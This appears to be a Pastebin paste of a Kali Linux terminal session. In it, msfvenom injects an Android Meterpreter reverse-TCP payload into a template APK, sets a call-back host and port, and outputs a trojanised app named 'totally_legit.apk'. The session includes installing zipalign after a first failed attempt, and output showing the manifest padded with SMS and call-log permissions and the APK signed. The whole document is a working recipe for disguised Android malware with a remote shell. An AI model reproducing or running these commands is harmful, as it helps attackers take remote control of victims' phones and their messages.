Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- root@kali:/home/1nstance# msfvenom -x template.apk -p android/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=4321 -o totally_legit.apk
- Using APK template: template.apk
- No platform was selected, choosing Msf::Module::Platform::Android from the payload
- No Arch selected, selecting Arch: dalvik from the payload
- Error: zipalign not found. If it's not in your PATH, please add it.
- root@kali:/home/1nstance# locate zipalign
- root@kali:/home/1nstance# updatedb
- root@kali:/home/1nstance# apt-get install zipalign
- Reading package lists... Done
- Building dependency tree
- Reading state information... Done
- The following additional packages will be installed:
- libzopfli1
- The following NEW packages will be installed:
- libzopfli1 zipalign
- 0 upgraded, 2 newly installed, 0 to remove and 0 not upgraded.
- Need to get 46.8 kB of archives.
- After this operation, 137 kB of additional disk space will be used.
- Do you want to continue? [Y/n] y
- Get:1 http://ct.mirror.garr.it/mirrors/kali kali-rolling/main amd64 libzopfli1 amd64 1.0.1+git160527-1 [26.6 kB]
- Get:2 http://ct.mirror.garr.it/mirrors/kali kali-rolling/main amd64 zipalign amd64 1:7.0.0+r33-1 [20.2 kB]
- Fetched 46.8 kB in 21s (2,221 B/s)
- Selecting previously unselected package libzopfli1.
- (Reading database ... 355864 files and directories currently installed.)
- Preparing to unpack .../libzopfli1_1.0.1+git160527-1_amd64.deb ...
- Unpacking libzopfli1 (1.0.1+git160527-1) ...
- Selecting previously unselected package zipalign.
- Preparing to unpack .../zipalign_1%3a7.0.0+r33-1_amd64.deb ...
- Unpacking zipalign (1:7.0.0+r33-1) ...
- Processing triggers for libc-bin (2.24-17) ...
- Setting up libzopfli1 (1.0.1+git160527-1) ...
- Processing triggers for man-db (2.7.6.1-2) ...
- Setting up zipalign (1:7.0.0+r33-1) ...
- Processing triggers for libc-bin (2.24-17) ...
- root@kali:/home/1nstance# msfvenom -x template.apk -p android/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=4321 -o totally_legit.apk
- Using APK template: template.apk
- No platform was selected, choosing Msf::Module::Platform::Android from the payload
- No Arch selected, selecting Arch: dalvik from the payload
- [*] Creating signing key and keystore..
- [*] Decompiling original APK..
- [*] Decompiling payload APK..
- [*] Locating hook point..
- [*] Adding payload as package com.template.lite.jxdjm
- [*] Loading /tmp/d20170913-7254-10i3jrq/original/smali/com/template/lite/LiteAppShell.smali and injecting payload..
- [*] Poisoning the manifest with meterpreter permissions..
- [*] Adding <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
- [*] Adding <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
- [*] Adding <uses-permission android:name="android.permission.SET_WALLPAPER"/>
- [*] Adding <uses-permission android:name="android.permission.SEND_SMS"/>
- [*] Adding <uses-permission android:name="android.permission.RECEIVE_SMS"/>
- [*] Rebuilding template.apk with meterpreter injection as /tmp/d20170913-7254-10i3jrq/output.apk
- [*] Signing /tmp/d20170913-7254-10i3jrq/output.apk
- [*] Aligning /tmp/d20170913-7254-10i3jrq/output.apk
- Payload size: 1317346 bytes
- Saved as: totally_legit.apk
- root@kali:/home/1nstance#
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement